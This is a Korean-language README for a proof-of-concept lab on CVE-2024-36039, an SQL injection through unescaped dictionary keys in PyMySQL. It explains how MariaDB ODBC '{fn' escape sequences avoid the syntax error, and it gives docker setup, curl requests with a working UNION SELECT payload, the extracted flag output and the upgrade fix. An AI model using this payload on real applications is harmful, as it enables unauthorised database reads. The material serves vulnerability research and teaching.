
CVE-2024-36039에 대한 PoC: PyMySQL 객체-문자열 직렬화 결함을 통한 SQL 인젝션 시연
CVE-2024-36039에 대한 완전하고 재현 가능한 개념 증명(PoC) 실습 환경입니다. PyMySQL(버전 <= 1.1.0)의 객체 주입 취약점이 MariaDB의 ODBC 이스케이프 시퀀스를 통해 완전한 SQL 인젝션으로 이어질 수 있음을 보여줍니다.
CVE-2024-36039는 순수 Python MySQL 클라이언트 라이브러리인 PyMySQL의 취약점입니다.
매개변수화된 쿼리(예: execute("SELECT * FROM table WHERE data = %s", (my_dict,)))가 키가 일반 문자열이 아닌 사용자 정의 객체인 Python 딕셔너리를 받으면, PyMySQL은 객체의 __str__ 또는 __repr__ 메서드를 사용하여 SQL 문자열로 직렬화합니다.
버그: PyMySQL은 객체 키의 결과 문자열을 이스케이프 처리(작은따옴표로 감싸는 것)하는 것을 잊습니다. 이로 인해 따옴표가 없는 원시 문자열이 딕셔너리 형식 {따옴표없는객체문자열: '이스케이프된값'}으로 SQL 문에 직접 주입됩니다.
그 자체로는 {따옴표없는키: '값'}을 MariaDB 쿼리에 주입하면 1064 구문 오류가 발생합니다. {}는 표준 SQL 데이터 구문이 아니기 때문입니다.
그러나 MariaDB/MySQL은 중괄호 {}를 사용하는 ODBC 이스케이프 시퀀스를 지원합니다. 구문 오류를 우회하려면 { 바로 다음에 오는 문자열이 유효한 ODBC 키워드(예: d, t, ts, fn)여야 합니다.
__repr__ 메서드가 fn/*을 반환하는 사용자 정의 객체를 제작합니다.*/ 1} UNION SELECT 1, flag, 3 FROM secret -- 으로 설정합니다.SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
{fn : MariaDB가 ODBC 스칼라 함수의 시작을 인식합니다./*: "'*/ : MariaDB는 이를 블록 주석으로 처리합니다. PyMySQL이 생성한 콜론 :과 여는 따옴표 '는 완전히 무시됩니다! 1} : ODBC 함수를 완성합니다(사실상 정수 1을 반환). UNION SELECT 1, flag, 3 FROM secret : 주입된 SQL 페이로드가 실행됩니다.-- '"} : SQL 주석이 나머지 후행 쓰레기('})를 무시합니다.결과: 애플리케이션 로직과 PyMySQL의 매개변수화를 모두 우회하는 완벽한 SQL 인젝션!
이 저장소를 클론하고 환경을 실행하세요:
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build
(MariaDB 컨테이너가 완전히 초기화될 때까지 약 15-20초 기다리세요).
표준 JSON 요청을 보냅니다. 백엔드가 JSON 키를 CustomKey 객체로 변환합니다.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"yamato": "Any_value"}'
응답: {yamato: "'Any_value'"}가 유효하지 않은 SQL이라는 SQL 구문 오류가 발생하며, 이로써 주입 지점이 확인됩니다.
ODBC 이스케이프 시퀀스 페이로드를 주입하여 구문 오류를 우회하고 secret 테이블에서 숨겨진 플래그를 추출합니다.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'
응답 (PWNED!):
{
"data":[
{
"device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
"id": 1,
"log_data": "3"
}
],
"status": "success"
}
이 취약점을 해결하려면 PyMySQL을 1.1.1 이상 버전으로 업그레이드하세요.
패치된 버전에서는 개발자가 모든 딕셔너리 키(유형에 관계없이)가 SQL 문에 삽입되기 전에 적절히 이스케이프 및 인용되도록 보장합니다.
pip install --upgrade PyMySQL
면책 조항: 이 저장소는 교육 및 연구 목적으로만 생성되었습니다. 소유하고 있거나 명시적 테스트 허가를 받지 않은 시스템에 대해 이러한 기술을 사용하지 마십시오.
© 2026 by zenniskayy. 더 안전한 인터넷을 위해 구축되었습니다.